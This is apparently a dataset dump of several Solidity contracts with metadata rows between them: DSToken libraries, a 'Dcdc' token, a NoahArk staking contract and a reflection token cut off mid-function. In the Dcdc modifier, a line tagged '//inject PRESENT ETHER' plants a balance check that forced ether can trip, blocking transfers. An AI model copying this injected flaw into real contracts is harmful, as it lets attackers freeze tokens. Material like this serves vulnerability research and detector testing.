return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
////// lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSNote {
event LogNote(bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
////// lib/ds-stop/src/stop.sol
/// stop.sol -- mixin for enable/disable functionality
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
////// lib/ds-token/lib/erc20/src/erc20.sol
/// erc20.sol -- API for the ERC20 token standard
// See <https://github.com/ethereum/EIPs/issues/20>.
// This file likely does not meet the threshold of originality
// required for copyright to apply. As a result, this is free and
// unencumbered software belonging to the public domain.
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(address src, address dst, uint wad) public returns (bool);
}
////// lib/ds-token/src/base.sol
/// base.sol -- basic ERC20 implementation
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
////// lib/ds-token/src/token.sol
/// token.sol -- ERC20 implementation with minting and burning
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
require(_approvals[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
require(_balances[guy] >= wad, "ds-token-insufficient-balance");
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
////// src/Dcdc.sol
contract Dcdc is DSToken {
bytes32 public cccc;
bool public stopTransfers = true;
bool public isInteger;
bytes32 public name;
constructor(bytes32 cccc_, bytes32 symbol_, bool isInteger_) DSToken(symbol_) public {
cccc = cccc_;
isInteger = isInteger_;
name = symbol_;
}
modifier integerOnly(uint256 num) {
if(isInteger)
require(address(this).balance == 0, "dcdc-only-integer-value-allowed"); //inject PRESENT ETHER
_;
}
function getDiamondType() public view returns (bytes32) {
return cccc;
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
integerOnly(wad)
returns (bool) {
if(!stopTransfers) {
return super.transferFrom(src, dst, wad);
}
}
function setStopTransfers(bool stopTransfers_) public auth {
stopTransfers = stopTransfers_;
}
function mint(address guy, uint256 wad) public integerOnly(wad) {
super.mint(guy, wad);
}
function burn(address guy, uint256 wad) public integerOnly(wad) {
super.burn(guy, wad);
}
}
| 278,487 | 14,148 |
489d4b5902b948980bb45c49b44861293d259873261eb2f88622e34b2ccdfe81
| 27,859 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/dc/dc1468DcaF670236073763F979421301a7db64c6_NoahArkStaking.sol
| 4,520 | 17,987 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsNRK {
function rebase(uint256 nrkProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IDistributor {
function distribute() external returns (bool);
}
contract NoahArkStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable NRK;
address public immutable sNRK;
uint public openBlock;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
uint public warmupPeriod;
constructor (address _NRK,
address _sNRK,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_NRK != address(0));
NRK = _NRK;
require(_sNRK != address(0));
sNRK = _sNRK;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
uint stakeEpochNumber;
}
mapping(address => bool) public lock;
mapping(address => Claim) public warmupInfo;
event StakeEvent(uint _amount, address _recipient);
event StakeRecordEvent(uint _amount, uint _gons, uint _stakeEpochNumber, uint _expiry, address _recipient);
event UnStakeEvent(uint _amount, address _recipient);
function stake(uint _amount, address _recipient) external returns (bool) {
require(openBlock <= block.number, "Staking has not started yet.");
rebase();
IERC20(NRK).safeTransferFrom(msg.sender, address(this), _amount);
bool _lock = lock[ _recipient ];
require(!_lock, "Deposits for account are locked");
uint _gons = IsNRK(sNRK).gonsForBalance(_amount);
Claim memory info = warmupInfo[_recipient];
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsNRK(sNRK).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
stakeEpochNumber: epoch.number
});
IERC20(sNRK).safeTransfer(_recipient, _amount);
emit StakeEvent(_amount, _recipient);
emit StakeRecordEvent(_amount, _gons, epoch.number, epoch.number.add(warmupPeriod), _recipient);
return true;
}
function canClaim (address _recipient) public view returns (uint) {
Claim memory info = warmupInfo[ _recipient ];
uint _canClaim;
if (info.expiry <= epoch.number && info.expiry != 0) {
_canClaim = IsNRK(sNRK).balanceForGons(info.gons);
}
return _canClaim;
}
function toggleDepositLock() external {
lock[ msg.sender ] = !lock[ msg.sender ];
}
function settleWarmupInfo(address _user, uint _amount) external {
require(msg.sender == sNRK, 'access deny');
Claim storage claim = warmupInfo[ _user ];
uint _unstakeGons = IsNRK(sNRK).gonsForBalance(_amount);
require(claim.expiry <= epoch.number && claim.expiry != 0, 'The warmup periods has not expired.');
require(claim.gons >= _unstakeGons, 'snrk balance not enough');
claim.deposit = claim.deposit.sub(_amount);
claim.gons = claim.gons.sub(_unstakeGons);
if (claim.gons == 0) {
claim.expiry = 0;
claim.stakeEpochNumber = 0;
}
}
function changeWarmupInfo(address _user, uint _amount) external {
require(msg.sender == sNRK, 'access deny');
Claim memory tempClaim = warmupInfo[ _user ];
if(tempClaim.expiry != 0) {
Claim storage claim = warmupInfo[ _user ];
claim.gons = claim.gons.add(IsNRK(sNRK).gonsForBalance(_amount));
claim.deposit = tempClaim.deposit.add(_amount);
} else {
warmupInfo[ _user ] = Claim ({
deposit: tempClaim.deposit.add(_amount),
gons: tempClaim.gons.add(IsNRK(sNRK).gonsForBalance(_amount)),
expiry: epoch.number,
stakeEpochNumber: epoch.number
});
}
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sNRK).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(NRK).safeTransfer(msg.sender, _amount);
emit UnStakeEvent(_amount, msg.sender);
}
function index() public view returns (uint) {
return IsNRK(sNRK).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsNRK(sNRK).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsNRK(sNRK).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(NRK).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sNRK).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sNRK).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 1
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function setOpenBlock(uint _openBlock) external onlyManager {
openBlock = _openBlock;
}
}
| 121,970 | 14,149 |
5c9008d6067d7fd8048c3548869926211dc50da30507d30796324af1ffdcec77
| 29,889 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xEe87CAFDaa4f8D06429e115c51F06feC8BbCe239/contract.sol
| 5,169 | 18,487 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract retractfinance is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Retract Finance';
string private _symbol = 'RTF';
uint8 private _decimals = 18;
uint256 private _taxFee = 5;
uint256 private _burnFee = 1;
uint256 private _maxTxAmount = 2500e18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromRetraction(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function retractionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromRetraction(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromRetraction(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
